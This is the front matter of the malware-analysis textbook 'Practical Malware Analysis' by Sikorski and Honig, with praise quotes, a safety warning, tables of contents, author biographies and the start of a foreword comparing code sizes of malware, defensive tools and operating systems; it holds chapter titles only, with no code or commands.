PRAISE FOR PRACTICAL MALWARE ANALYSIS
“An excellent crash course in malware analysis.”
—Dino Dai Zovi, INDEPENDENT SECURITY CONSULTANT
“. . . the most comprehensive guide to analysis of malware, offering detailed
coverage of all the essential skills required to understand the specific
challenges presented by modern malware.”
—Chris Eagle, SENIOR LECTURER OF COMPUTER SCIENCE, NAVAL
POSTGRADUATE SCHOOL
“A hands-on introduction to malware analysis. I'd recommend it to anyone
who wants to dissect Windows malware.”
—Ilfak Guilfanov, CREATOR OF IDA PRO
“. . . a great introduction to malware analysis. All chapters contain detailed
technical explanations and hands-on lab exercises to get you immediate
exposure to real malware.”
—Sebastian Porst, GOOGLE SOFTWARE ENGINEER
“. . . brings reverse-engineering to readers of all skill levels. Technically
rich and accessible, the labs will lead you to a deeper understanding of the
art and science of reverse-engineering. I strongly recommend this book for
beginners and experts alike.”
—Danny Quist, PHD, FOUNDER OF OFFENSIVE COMPUTING
“If you only read one malware book or are looking to break into the world of
malware analysis, this is the book to get.”
—Patrick Engbretson, IA PROFESSOR, DAKOTA STATE UNIVERSITY AND
AUTHOR OF The Basics of Hacking and Pen Testing
“. . . an excellent addition to the course materials for an advanced graduate
level course on Software Security or Intrusion Detection Systems. The labs
are especially useful to students in teaching the methods to reverse-engineer,
analyze, and understand malicious software.”
—Sal Stolfo, PROFESSOR, COLUMBIA UNIVERSITY
This is a book about malware. The links and software described
in this book are malicious. Exercise extreme caution when executing
unknown code and visiting untrusted URLs.
For hints about creating a safe virtualized environment for malware
analysis, visit Chapter 2. Don’t be stupid; secure your environment.
WARNING
PRACTICAL
MALWARE ANALYSIS
The Hands-On Guide to
Dissecting Malicious
Software
by Michael Sikorski and Andrew Honig
San Francisco
PRACTICAL MALWARE ANALYSIS. Copyright © 2012 by Michael Sikorski and Andrew Honig.
All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or
mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior
written permission of the copyright owner and the publisher.
16 15 14 13 12
1 2 3 4 5 6 7 8 9
ISBN-10: 1-59327-290-1
ISBN-13: 978-1-59327-290-6
Publisher: William Pollock
Production Editor: Alison Law
Cover Illustration: Hugh D’Andrade
Interior Design: Octopod Studios
Developmental Editors: William Pollock and Tyler Ortman
Technical Reviewer: Stephen Lawler
Copyeditor: Marilyn Smith
Compositor: Riley Hoffman
Proofreader: Irene Barnard
Indexer: Nancy Guenther
For information on book distributors or translations, please contact No Starch Press, Inc. directly:
No Starch Press, Inc.
38 Ringold Street, San Francisco, CA 94103
phone: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com
Library of Congress Cataloging-in-Publication Data
A catalog record of this book is available from the Library of Congress.
No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and
company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark
symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the
benefit of the trademark owner, with no intention of infringement of the trademark.
The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been
taken in the preparation of this work, neither the authors nor No Starch Press, Inc. shall have any liability to any
person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the
information contained in it.
B R I E F C O N T E N T S
About the Authors .........................................................................................................xix
Foreword by Richard Bejtlich ..........................................................................................xxi
Acknowledgments ........................................................................................................xxv
Introduction ............................................................................................................... xxvii
Chapter 0: Malware Analysis Primer .................................................................................1
PART 1: BASIC ANALYSIS
Chapter 1: Basic Static Techniques....................................................................................9
Chapter 2: Malware Analysis in Virtual Machines.............................................................29
Chapter 3: Basic Dynamic Analysis.................................................................................39
PART 2: ADVANCED STATIC ANALYSIS
Chapter 4: A Crash Course in x86 Disassembly ...............................................................65
Chapter 5: IDA Pro .......................................................................................................87
Chapter 6: Recognizing C Code Constructs in Assembly..................................................109
Chapter 7: Analyzing Malicious Windows Programs.......................................................135
PART 3: ADVANCED DYNAMIC ANALYSIS
Chapter 8: Debugging.................................................................................................167
vi
Brief Contents
Chapter 9: OllyDbg ....................................................................................................179
Chapter 10: Kernel Debugging with WinDbg.................................................................205
PART 4: MALWARE FUNCTIONALITY
Chapter 11: Malware Behavior ....................................................................................231
Chapter 12: Covert Malware Launching ........................................................................253
Chapter 13: Data Encoding .........................................................................................269
Chapter 14: Malware-Focused Network Signatures.........................................................297
PART 5: ANTI-REVERSE-ENGINEERING
Chapter 15: Anti-Disassembly.......................................................................................327
Chapter 16: Anti-Debugging ........................................................................................351
Chapter 17: Anti-Virtual Machine Techniques .................................................................369
Chapter 18: Packers and Unpacking.............................................................................383
PART 6: SPECIAL TOPICS
Chapter 19: Shellcode Analysis ....................................................................................407
Chapter 20: C++ Analysis ...........................................................................................427
Chapter 21: 64-Bit Malware.........................................................................................441
Appendix A: Important Windows Functions....................................................................453
Appendix B: Tools for Malware Analysis........................................................................465
Appendix C: Solutions to Labs ......................................................................................477
Index.........................................................................................................................733
C O N T E N T S I N D E T A I L
ABOUT THE AUTHORS
xix
About the Technical Reviewer ................................................................................... xx
About the Contributing Authors ................................................................................. xx
FOREWORD by Richard Bejtlich
xxi
ACKNOWLEDGMENTS
xxv
Individual Thanks ...................................................................................................xxv
INTRODUCTION
xxvii
What Is Malware Analysis? .................................................................................. xxviii
Prerequisites ....................................................................................................... xxviii
Practical, Hands-On Learning .................................................................................xxix
What’s in the Book? ...............................................................................................xxx
0
MALWARE ANALYSIS PRIMER
1
The Goals of Malware Analysis ................................................................................. 1
Malware Analysis Techniques .................................................................................... 2
Basic Static Analysis .................................................................................... 2
Basic Dynamic Analysis ............................................................................... 2
Advanced Static Analysis ............................................................................. 3
Advanced Dynamic Analysis ........................................................................ 3
Types of Malware .................................................................................................... 3
General Rules for Malware Analysis ........................................................................... 5
PART 1
BASIC ANALYSIS
1
BASIC STATIC TECHNIQUES
9
Antivirus Scanning: A Useful First Step ...................................................................... 10
Hashing: A Fingerprint for Malware ......................................................................... 10
Finding Strings ....................................................................................................... 11
Packed and Obfuscated Malware ............................................................................ 13
Packing Files ............................................................................................ 13
Detecting Packers with PEiD ........................................................................ 14
Portable Executable File Format ................................................................................ 14
Linked Libraries and Functions .................................................................................. 15
Static, Runtime, and Dynamic Linking ........................................................... 15
viii
Contents in Detail
Exploring Dynamically Linked Functions with Dependency Walker .................. 16
Imported Functions .................................................................................... 18
Exported Functions .................................................................................... 18
Static Analysis in Practice ........................................................................................ 18
PotentialKeylogger.exe: An Unpacked Executable ......................................... 18
PackedProgram.exe: A Dead End ............................................................... 21
The PE File Headers and Sections ............................................................................. 21
Examining PE Files with PEview ................................................................... 22
Viewing the Resource Section with Resource Hacker ...................................... 25
Using Other PE File Tools ........................................................................... 26
PE Header Summary .................................................................................. 26
Conclusion ............................................................................................................ 26
Labs ..................................................................................................................... 27
2
MALWARE ANALYSIS IN VIRTUAL MACHINES
29
The Structure of a Virtual Machine ............................................................................ 30
Creating Your Malware Analysis Machine ................................................................ 31
Configuring VMware ................................................................................. 31
Using Your Malware Analysis Machine ..................................................................... 34
Connecting Malware to the Internet ............................................................. 34
Connecting and Disconnecting Peripheral Devices ......................................... 34
Taking Snapshots ...................................................................................... 35
Transferring Files from a Virtual Machine ..................................................... 36
The Risks of Using VMware for Malware Analysis ...................................................... 36
Record/Replay: Running Your Computer in Reverse .................................................... 37
Conclusion ............................................................................................................ 37
3
BASIC DYNAMIC ANALYSIS
39
Sandboxes: The Quick-and-Dirty Approach ............................................................... 40
Using a Malware Sandbox ......................................................................... 40
Sandbox Drawbacks ................................................................................. 41
Running Malware ................................................................................................... 42
Monitoring with Process Monitor .............................................................................. 43
The Procmon Display ................................................................................. 44
Filtering in Procmon ................................................................................... 44
Viewing Processes with Process Explorer ................................................................... 47
The Process Explorer Display ...................................................................... 47
Using the Verify Option ............................................................................. 48
Comparing Strings .................................................................................... 49
Using Dependency Walker ......................................................................... 49
Analyzing Malicious Documents .................................................................. 50
Comparing Registry Snapshots with Regshot .............................................................. 50
Contents in Detail
ix
Faking a Network .................................................................................................. 51
Using ApateDNS ...................................................................................... 51
Monitoring with Netcat .............................................................................. 52
Packet Sniffing with Wireshark ................................................................................. 53
Using INetSim ........................................................................................................ 55
Basic Dynamic Tools in Practice ............................................................................... 56
Conclusion ............................................................................................................ 60
Labs ..................................................................................................................... 61
PART 2
ADVANCED STATIC ANALYSIS
4
A CRASH COURSE IN X86 DISASSEMBLY
65
Levels of Abstraction ............................................................................................... 66
Reverse-Engineering ............................................................................................... 67
The x86 Architecture .............................................................................................. 68
Main Memory ........................................................................................... 69
Instructions ............................................................................................... 69
Opcodes and Endianness ........................................................................... 70
Operands ................................................................................................ 70
Registers .................................................................................................. 71
Simple Instructions ..................................................................................... 73
The Stack ................................................................................................. 77
Conditionals ............................................................................................. 80
Branching ................................................................................................ 80
Rep Instructions ......................................................................................... 81
C Main Method and Offsets ....................................................................... 83
More Information: Intel x86 Architecture Manuals ......................................... 85
Conclusion ............................................................................................................ 85
5
IDA PRO
87
Loading an Executable ............................................................................................ 88
The IDA Pro Interface .............................................................................................. 89
Disassembly Window Modes ...................................................................... 89
Useful Windows for Analysis ...................................................................... 91
Returning to the Default View ...................................................................... 92
Navigating IDA Pro ................................................................................... 92
Searching ................................................................................................ 94
Using Cross-References ........................................................................................... 95
Code Cross-References .............................................................................. 95
Data Cross-References ............................................................................... 96
Analyzing Functions ............................................................................................... 97
Using Graphing Options ......................................................................................... 98
x
Contents in Detail
Enhancing Disassembly ......................................................................................... 100
Renaming Locations ................................................................................. 100
Comments .............................................................................................. 100
Formatting Operands ............................................................................... 100
Using Named Constants .......................................................................... 102
Redefining Code and Data ....................................................................... 103
Extending IDA with Plug-ins ................................................................................... 103
Using IDC Scripts .................................................................................... 104
Using IDAPython ..................................................................................... 105
Using Commercial Plug-ins ....................................................................... 106
Conclusion .......................................................................................................... 106
Labs ................................................................................................................... 107
6
RECOGNIZING C CODE CONSTRUCTS IN ASSEMBLY
109
Global vs. Local Variables ..................................................................................... 110
Disassembling Arithmetic Operations ...................................................................... 112
Recognizing if Statements ...................................................................................... 113
Analyzing Functions Graphically with IDA Pro ............................................ 114
Recognizing Nested if Statements .............................................................. 114
Recognizing Loops ............................................................................................... 116
Finding for Loops .................................................................................... 116
Finding while Loops ................................................................................. 118
Understanding Function Call Conventions ................................................................ 119
cdecl ..................................................................................................... 119
stdcall .................................................................................................... 120
fastcall ................................................................................................... 120
Push vs. Move ......................................................................................... 120
Analyzing switch Statements .................................................................................. 121
If Style ................................................................................................... 122
Jump Table ............................................................................................. 123
Disassembling Arrays ........................................................................................... 127
Identifying Structs ................................................................................................. 128
Analyzing Linked List Traversal ............................................................................... 130
Conclusion .......................................................................................................... 132
Labs ................................................................................................................... 133
7
ANALYZING MALICIOUS WINDOWS PROGRAMS
135
The Windows API ................................................................................................ 136
Types and Hungarian Notation ................................................................. 136
Handles ................................................................................................. 137
File System Functions ............................................................................... 137
Special Files ........................................................................................... 138
The Windows Registry .......................................................................................... 139
Registry Root Keys ................................................................................... 140
Regedit .................................................................................................. 140
Programs that Run Automatically ............................................................... 140
Common Registry Functions ...................................................................... 141
Contents in Detail
xi
Analyzing Registry Code in Practice .......................................................... 141
Registry Scripting with .reg Files ................................................................ 142
Networking APIs .................................................................................................. 143
Berkeley Compatible Sockets .................................................................... 143
The Server and Client Sides of Networking ................................................. 144
The WinINet API ..................................................................................... 145
Following Running Malware .................................................................................. 145
DLLs ....................................................................................................... 145
Processes ............................................................................................... 147
Threads .................................................................................................. 149
Interprocess Coordination with Mutexes ..................................................... 151
Services ................................................................................................. 152
The Component Object Model .................................................................. 154
Exceptions: When Things Go Wrong ......................................................... 157
Kernel vs. User Mode ........................................................................................... 158
The Native API ..................................................................................................... 159
Conclusion .......................................................................................................... 161
Labs ................................................................................................................... 162
PART 3
ADVANCED DYNAMIC ANALYSIS
8
DEBUGGING
167
Source-Level vs. Assembly-Level Debuggers .............................................................. 168
Kernel vs. User-Mode Debugging ........................................................................... 168
Using a Debugger ................................................................................................ 169
Single-Stepping ....................................................................................... 169
Stepping-Over vs. Stepping-Into ................................................................ 170
Pausing Execution with Breakpoints ........................................................... 171
Exceptions ........................................................................................................... 175
First- and Second-Chance Exceptions ......................................................... 176
Common Exceptions ................................................................................ 176
Modifying Execution with a Debugger .................................................................... 177
Modifying Program Execution in Practice ................................................................ 177
Conclusion .......................................................................................................... 178
9
OLLYDBG
179
Loading Malware ................................................................................................. 180
Opening an Executable ........................................................................... 180
Attaching to a Running Process ................................................................. 181
The OllyDbg Interface ........................................................................................... 181
Memory Map ...................................................................................................... 183
Rebasing ................................................................................................ 184
Viewing Threads and Stacks .................................................................................. 185
Executing Code ................................................................................................... 186
xii
Contents in Detail
Breakpoints ......................................................................................................... 188
Software Breakpoints ............................................................................... 188
Conditional Breakpoints ........................................................................... 189
Hardware Breakpoints ............................................................................. 190
Memory Breakpoints ................................................................................ 190
Loading DLLs ....................................................................................................... 191
Tracing ............................................................................................................... 192
Standard Back Trace ............................................................................... 192
Call Stack .............................................................................................. 193
Run Trace ............................................................................................... 193
Tracing Poison Ivy ................................................................................... 193
Exception Handling .............................................................................................. 194
Patching .............................................................................................................. 195
Analyzing Shellcode ............................................................................................. 196
Assistance Features .............................................................................................. 197
Plug-ins ............................................................................................................... 197
OllyDump ............................................................................................... 198
Hide Debugger ....................................................................................... 198
Command Line ........................................................................................ 198
Bookmarks ............................................................................................. 199
Scriptable Debugging ........................................................................................... 200
Conclusion .......................................................................................................... 201
Labs ................................................................................................................... 202
10
KERNEL DEBUGGING WITH WINDBG
205
Drivers and Kernel Code ....................................................................................... 206
Setting Up Kernel Debugging ................................................................................ 207
Using WinDbg ..................................................................................................... 210
Reading from Memory ............................................................................. 210
Using Arithmetic Operators ...................................................................... 211
Setting Breakpoints .................................................................................. 211
Listing Modules ....................................................................................... 212
Microsoft Symbols ................................................................................................ 212
Searching for Symbols ............................................................................. 212
Viewing Structure Information ................................................................... 213
Configuring Windows Symbols ................................................................. 215
Kernel Debugging in Practice ................................................................................. 215
Looking at the User-Space Code ............................................................... 215
Looking at the Kernel-Mode Code ............................................................. 217
Finding Driver Objects ............................................................................. 220
Rootkits ............................................................................................................... 221
Rootkit Analysis in Practice ....................................................................... 222
Interrupts ................................................................................................ 225
Loading Drivers .................................................................................................... 226
Kernel Issues for Windows Vista, Windows 7, and x64 Versions ............................... 226
Conclusion .......................................................................................................... 227
Labs ................................................................................................................... 228
Contents in Detail
xiii
PART 4
MALWARE FUNCTIONALITY
11
MALWARE BEHAVIOR
231
Downloaders and Launchers .................................................................................. 231
Backdoors ........................................................................................................... 232
Reverse Shell .......................................................................................... 232
RATs ...................................................................................................... 233
Botnets ................................................................................................... 234
RATs and Botnets Compared .................................................................... 234
Credential Stealers ............................................................................................... 234
GINA Interception ................................................................................... 235
Hash Dumping ........................................................................................ 236
Keystroke Logging ................................................................................... 238
Persistence Mechanisms ........................................................................................ 241
The Windows Registry ............................................................................. 241
Trojanized System Binaries ....................................................................... 243
DLL Load-Order Hijacking ......................................................................... 244
Privilege Escalation .............................................................................................. 245
Using SeDebugPrivilege ........................................................................... 246
Covering Its Tracks—User-Mode Rootkits ................................................................. 247
IAT Hooking ........................................................................................... 248
Inline Hooking ........................................................................................ 248
Conclusion .......................................................................................................... 250
Labs ................................................................................................................... 251
12
COVERT MALWARE LAUNCHING
253
Launchers ............................................................................................................ 253
Process Injection ................................................................................................... 254
DLL Injection ........................................................................................... 254
Direct Injection ........................................................................................ 257
Process Replacement ............................................................................................ 257
Hook Injection ..................................................................................................... 259
Local and Remote Hooks .......................................................................... 260
Keyloggers Using Hooks .......................................................................... 260
Using SetWindowsHookEx ....................................................................... 260
Thread Targeting ..................................................................................... 261
Detours ............................................................................................................... 262
APC Injection ....................................................................................................... 262
APC Injection from User Space ................................................................. 263
APC Injection from Kernel Space ............................................................... 264
Conclusion .......................................................................................................... 265
Labs ................................................................................................................... 266
xiv
Contents in Detail
13
DATA ENCODING
269
The Goal of Analyzing Encoding Algorithms ........................................................... 270
Simple Ciphers .................................................................................................... 270
Caesar Cipher ........................................................................................ 270
XOR ...................................................................................................... 271
Other Simple Encoding Schemes ............................................................... 276
Base64 .................................................................................................. 277
Common Cryptographic Algorithms ........................................................................ 280
Recognizing Strings and Imports ............................................................... 281
Searching for Cryptographic Constants ...................................................... 282
Searching for High-Entropy Content ........................................................... 283
Custom Encoding ................................................................................................. 285
Identifying Custom Encoding .................................................................... 285
Advantages of Custom Encoding to the Attacker ......................................... 288
Decoding ............................................................................................................ 288
Self-Decoding ......................................................................................... 288
Manual Programming of Decoding Functions .............................................. 289
Using Instrumentation for Generic Decryption ............................................. 291
Conclusion .......................................................................................................... 294
Labs ................................................................................................................... 295
14
MALWARE-FOCUSED NETWORK SIGNATURES
297
Network Countermeasures .................................................................................... 297
Observing the Malware in Its Natural Habitat ............................................. 298
Indications of Malicious Activity ................................................................ 298
OPSEC = Operations Security .................................................................. 299
Safely Investigate an Attacker Online ...................................................................... 300
Indirection Tactics .................................................................................... 300
Getting IP Address and Domain Information ............................................... 300
Content-Based Network Countermeasures ............................................................... 302
Intrusion Detection with Snort .................................................................... 303
Taking a Deeper Look .............................................................................. 304
Combining Dynamic and Static Analysis Techniques ................................................ 307
The Danger of Overanalysis ..................................................................... 308
Hiding in Plain Sight ................................................................................ 308
Understanding Surrounding Code ............................................................. 312
Finding the Networking Code ................................................................... 313
Knowing the Sources of Network Content .................................................. 314
Hard-Coded Data vs. Ephemeral Data ....................................................... 314
Identifying and Leveraging the Encoding Steps ........................................... 315
Creating a Signature ............................................................................... 317
Analyze the Parsing Routines .................................................................... 318
Targeting Multiple Elements ...................................................................... 320
Understanding the Attacker’s Perspective ................................................................ 321
Conclusion .......................................................................................................... 322
Labs ................................................................................................................... 323
Contents in Detail
xv
PART 5
ANTI-REVERSE-ENGINEERING
15
ANTI-DISASSEMBLY
327
Understanding Anti-Disassembly ............................................................................. 328
Defeating Disassembly Algorithms .......................................................................... 329
Linear Disassembly .................................................................................. 329
Flow-Oriented Disassembly ....................................................................... 331
Anti-Disassembly Techniques .................................................................................. 334
Jump Instructions with the Same Target ....................................................... 334
A Jump Instruction with a Constant Condition .............................................. 336
Impossible Disassembly ............................................................................ 337
NOP-ing Out Instructions with IDA Pro ....................................................... 340
Obscuring Flow Control ........................................................................................ 340
The Function Pointer Problem .................................................................... 340
Adding Missing Code Cross-References in IDA Pro ...................................... 342
Return Pointer Abuse ................................................................................ 342
Misusing Structured Exception Handlers ..................................................... 344
Thwarting Stack-Frame Analysis ............................................................................. 347
Conclusion .......................................................................................................... 349
Labs ................................................................................................................... 350
16
ANTI-DEBUGGING
351
Windows Debugger Detection ............................................................................... 352
Using the Windows API ........................................................................... 352
Manually Checking Structures ................................................................... 353
Checking for System Residue .................................................................... 356
Identifying Debugger Behavior ............................................................................... 356
INT Scanning .......................................................................................... 357
Performing Code Checksums .................................................................... 357
Timing Checks ........................................................................................ 357
Interfering with Debugger Functionality ................................................................... 359
Using TLS Callbacks ................................................................................ 359
Using Exceptions ..................................................................................... 361
Inserting Interrupts ................................................................................... 362
Debugger Vulnerabilities ....................................................................................... 363
PE Header Vulnerabilities ......................................................................... 363
The OutputDebugString Vulnerability ......................................................... 365
Conclusion .......................................................................................................... 365
Labs ................................................................................................................... 367
17
ANTI-VIRTUAL MACHINE TECHNIQUES
369
VMware Artifacts ................................................................................................. 370
Bypassing VMware Artifact Searching ....................................................... 372
Checking for Memory Artifacts .................................................................. 373
xvi
Contents in Detail
Vulnerable Instructions .......................................................................................... 373
Using the Red Pill Anti-VM Technique ......................................................... 374
Using the No Pill Technique ...................................................................... 375
Querying the I/O Communication Port ..................................................... 375
Using the str Instruction ............................................................................ 377
Anti-VM x86 Instructions .......................................................................... 377
Highlighting Anti-VM in IDA Pro ................................................................ 377
Using ScoopyNG .................................................................................... 379
Tweaking Settings ................................................................................................ 379
Escaping the Virtual Machine ................................................................................ 380
Conclusion .......................................................................................................... 380
Labs ................................................................................................................... 381
18
PACKERS AND UNPACKING
383
Packer Anatomy ................................................................................................... 384
The Unpacking Stub ................................................................................ 384
Loading the Executable ............................................................................ 384
Resolving Imports .................................................................................... 385
The Tail Jump .......................................................................................... 386
Unpacking Illustrated ............................................................................... 386
Identifying Packed Programs .................................................................................. 387
Indicators of a Packed Program ................................................................ 387
Entropy Calculation ................................................................................. 387
Unpacking Options .............................................................................................. 388
Automated Unpacking .......................................................................................... 388
Manual Unpacking ............................................................................................... 389
Rebuilding the Import Table with Import Reconstructor .................................. 390
Finding the OEP ...................................................................................... 391
Repairing the Import Table Manually ......................................................... 395
Tips and Tricks for Common Packers ....................................................................... 397
UPX ....................................................................................................... 397
PECompact ............................................................................................. 397
ASPack .................................................................................................. 398
Petite ..................................................................................................... 398
WinUpack ............................................................................................. 398
Themida ................................................................................................. 400
Analyzing Without Fully Unpacking ........................................................................ 400
Packed DLLs ......................................................................................................... 401
Conclusion .......................................................................................................... 402
Labs .................................................................................................................... 403
PART 6
SPECIAL TOPICS
19
SHELLCODE ANALYSIS
407
Loading Shellcode for Analysis .............................................................................. 408
Contents in Detail
xvii
Position-Independent Code .................................................................................... 408
Identifying Execution Location ................................................................................ 409
Using call/pop ....................................................................................... 409
Using fnstenv .......................................................................................... 411
Manual Symbol Resolution .................................................................................... 413
Finding kernel32.dll in Memory ................................................................ 413
Parsing PE Export Data ............................................................................ 415
Using Hashed Exported Names ................................................................ 417
A Full Hello World Example .................................................................................. 418
Shellcode Encodings ............................................................................................. 421
NOP Sleds .......................................................................................................... 422
Finding Shellcode ................................................................................................. 423
Conclusion .......................................................................................................... 424
Labs ................................................................................................................... 425
20
C++ ANALYSIS
427
Object-Oriented Programming ............................................................................... 427
The this Pointer ....................................................................................... 428
Overloading and Mangling ...................................................................... 430
Inheritance and Function Overriding .......................................................... 432
Virtual vs. Nonvirtual Functions .............................................................................. 432
Use of Vtables ........................................................................................ 434
Recognizing a Vtable .............................................................................. 435
Creating and Destroying Objects ........................................................................... 437
Conclusion .......................................................................................................... 438
Labs ................................................................................................................... 439
21
64-BIT MALWARE
441
Why 64-Bit Malware? .......................................................................................... 442
Differences in x64 Architecture .............................................................................. 443
Differences in the x64 Calling Convention and Stack Usage ......................... 444
64-Bit Exception Handling ........................................................................ 447
Windows 32-Bit on Windows 64-Bit ....................................................................... 447
64-Bit Hints at Malware Functionality ...................................................................... 448
Conclusion .......................................................................................................... 449
Labs ................................................................................................................... 450
A
IMPORTANT WINDOWS FUNCTIONS
453
B
TOOLS FOR MALWARE ANALYSIS
465
xviii
Contents in Detail
C
SOLUTIONS TO LABS
477
INDEX
733
Lab 1-1 ........................................477
Lab 1-2 ........................................479
Lab 1-3 ........................................480
Lab 1-4 ........................................481
Lab 3-1 ........................................482
Lab 3-2 ........................................485
Lab 3-3 ........................................490
Lab 3-4 ........................................492
Lab 5-1 ........................................494
Lab 6-1 ........................................501
Lab 6-2 ........................................503
Lab 6-3 ........................................507
Lab 6-4 ........................................511
Lab 7-1 ........................................513
Lab 7-2 ........................................517
Lab 7-3 ........................................519
Lab 9-1 ........................................530
Lab 9-2 ........................................539
Lab 9-3 ........................................545
Lab 10-1 ......................................548
Lab 10-2 ......................................554
Lab 10-3 ......................................560
Lab 11-1 ......................................566
Lab 11-2 ......................................571
Lab 11-3 ......................................581
Lab 12-1 ......................................586
Lab 12-2 ......................................590
Lab 12-3 ......................................597
Lab 12-4 ......................................599
Lab 13-1 ...................................... 607
Lab 13-2 ...................................... 612
Lab 13-3 ...................................... 617
Lab 14-1 ...................................... 626
Lab 14-2 ...................................... 632
Lab 14-3 ...................................... 637
Lab 15-1 ...................................... 645
Lab 15-2 ...................................... 646
Lab 15-3 ...................................... 652
Lab 16-1 ...................................... 655
Lab 16-2 ...................................... 660
Lab 16-3 ...................................... 665
Lab 17-1 ...................................... 670
Lab 17-2 ...................................... 673
Lab 17-3 ...................................... 678
Lab 18-1 ...................................... 684
Lab 18-2 ...................................... 685
Lab 18-3 ...................................... 686
Lab 18-4 ...................................... 689
Lab 18-5 ...................................... 691
Lab 19-1 ...................................... 696
Lab 19-2 ...................................... 699
Lab 19-3 ...................................... 703
Lab 20-1 ...................................... 712
Lab 20-2 ...................................... 713
Lab 20-3 ...................................... 717
Lab 21-1 ...................................... 723
Lab 21-2 ...................................... 728
A B O U T T H E A U T H O R S
Michael Sikorski is a computer security consultant at Mandiant. He reverse-
engineers malicious software in support of incident response investigations
and provides specialized research and development security solutions to the
company’s federal client base. Mike created a series of courses in malware
analysis and teaches them to a variety of audiences including the FBI and
Black Hat. He came to Mandiant from MIT Lincoln Laboratory, where he
performed research in passive network mapping and penetration testing.
Mike is also a graduate of the NSA’s three-year System and Network Interdis-
ciplinary Program (SNIP). While at the NSA, he contributed to research in
reverse-engineering techniques and received multiple invention awards in
the field of network analysis.
Andrew Honig is an information assurance expert for the Department of
Defense. He teaches courses on software analysis, reverse-engineering, and
Windows system programming at the National Cryptologic School and is a
Certified Information Systems Security Professional. Andy is publicly cred-
ited with several zero-day exploits in VMware’s virtualization products and
has developed tools for detecting innovative malicious software, including
malicious software in the kernel. An expert in analyzing and understanding
both malicious and non-malicious software, he has over 10 years of experi-
ence as an analyst in the computer security industry.
xx
About the Authors
About the Technical Reviewer
Stephen Lawler is the founder and president of a small computer software
and security consulting firm. Stephen has been actively working in informa-
tion security for over seven years, primarily in reverse-engineering, malware
analysis, and vulnerability research. He was a member of the Mandiant Mal-
ware Analysis Team and assisted with high-profile computer intrusions
affecting several Fortune 100 companies. Previously he worked in ManTech
International’s Security and Mission Assurance (SMA) division, where he
discovered numerous zero-day vulnerabilities and software exploitation tech-
niques as part of ongoing software assurance efforts. In a prior life that had
nothing to do with computer security, he was lead developer for the sonar
simulator component of the US Navy SMMTT program.
About the Contributing Authors
Nick Harbour is a malware analyst at Mandiant and a seasoned veteran of
the reverse-engineering business. His 13-year career in information security
began as a computer forensic examiner and researcher at the Department
of Defense Computer Forensics Laboratory. For the last six years, Nick has
been with Mandiant and has focused primarily on malware analysis. He is a
researcher in the field of anti-reverse-engineering techniques, and he has
written several packers and code obfuscation tools, such as PE-Scrambler.
He has presented at Black Hat and Defcon several times on the topic of anti-
reverse-engineering and anti-forensics techniques. He is the primary devel-
oper and teacher of a Black Hat Advanced Malware Analysis course.
Lindsey Lack is a technical director at Mandiant with over twelve years of
experience in information security, specializing in malware reverse-engineering,
network defense, and security operations. He has helped to create and oper-
ate a Security Operations Center, led research efforts in network defense,
and developed secure hosting solutions. He has previously held positions at
the National Information Assurance Research Laboratory, the Executive
Office of the President (EOP), Cable and Wireless, and the US Army. In
addition to a bachelor’s degree in computer science from Stanford Univer-
sity, Lindsey has also received a master’s degree in computer science with an
emphasis in information assurance from the Naval Postgraduate School.
Jerrold “Jay” Smith is a principal consultant at Mandiant, where he special-
izes in malware reverse-engineering and forensic analysis. In this role, he has
contributed to many incident responses assisting a range of clients from
Fortune 500 companies. Prior to joining Mandiant, Jay was with the NSA, but
he’s not allowed to talk about that. Jay holds a bachelor’s degree in electrical
engineering and computer science from UC Berkeley and a master’s degree
in computer science from Johns Hopkins University.
F O R E W O R D
Few areas of digital security seem as asymmetric as
those involving malware, defensive tools, and operat-
ing systems.
In the summer of 2011, I attended Peiter (Mudge) Zatko’s keynote at
Black Hat in Las Vegas, Nevada. During his talk, Mudge introduced the asym-
metric nature of modern software. He explained how he analyzed 9,000 mal-
ware binaries and counted an average of 125 lines of code (LOC) for his
sample set.
You might argue that Mudge’s samples included only “simple” or
“pedestrian” malware. You might ask, what about something truly “weapon-
ized”? Something like (hold your breath)—Stuxnet? According to Larry L.
Constantine,1 Stuxnet included about 15,000 LOC and was therefore 120
times the size of a 125 LOC average malware sample. Stuxnet was highly
specialized and targeted, probably accounting for its above-average size.
Leaving the malware world for a moment, the text editor I’m using
(gedit, the GNOME text editor) includes gedit.c with 295 LOC—and gedit.c is
only one of 128 total source files (along with 3 more directories) published
1. http://www.informit.com/articles/article.aspx?p=1686289
xxii
Foreword
in the GNOME GIT source code repository for gedit.2 Counting all 128 files
and 3 directories yields 70,484 LOC. The ratio of legitimate application LOC
to malware is over 500 to 1. Compared to a fairly straightforward tool like a
text editor, an average malware sample seems very efficient!
Mudge’s 125 LOC number seemed a little low to me, because different
definitions of “malware” exist. Many malicious applications exist as “suites,”
with many functions and infrastructure elements. To capture this sort of
malware, I counted what you could reasonably consider to be the “source”
elements of the Zeus Trojan (.cpp, .obj, .h, etc.) and counted 253,774 LOC.
When comparing a program like Zeus to one of Mudge’s average samples, we
now see a ratio of over 2,000 to 1.
Mudge then compared malware LOC with counts for security products
meant to intercept and defeat malicious software. He cited 10 million as his
estimate for the LOC found in modern defensive products. To make the
math easier, I imagine there are products with at least 12.5 million lines of
code, bringing the ratio of offensive LOC to defensive LOC into the 100,000
to 1 level. In other words, for every 1 LOC of offensive firepower, defenders
write 100,000 LOC of defensive bastion.
Mudge also compared malware LOC to the operating systems those mal-
ware samples are built to subvert. Analysts estimate Windows XP to be built
from 45 million LOC, and no one knows how many LOC built Windows 7.
Mudge cited 150 million as a count for modern operating systems, presum-
ably thinking of the latest versions of Windows. Let’s revise that downward
to 125 million to simplify the math, and we have a 1 million to 1 ratio for
size of the target operating system to size of the malicious weapon capable
of abusing it.
Let’s stop to summarize the perspective our LOC counting exercise has
produced:
120:1
Stuxnet to average malware
500:1
Simple text editor to average malware
2,000:1
Malware suite to average malware
100,000:1
Defensive tool to average malware
1,000,000:1
Target operating system to average malware
From a defender’s point of view, the ratios of defensive tools and target
operating systems to average malware samples seem fairly bleak. Even swap-
ping the malware suite size for the average size doesn’t appear to improve the
defender’s situation very much! It looks like defenders (and their vendors)
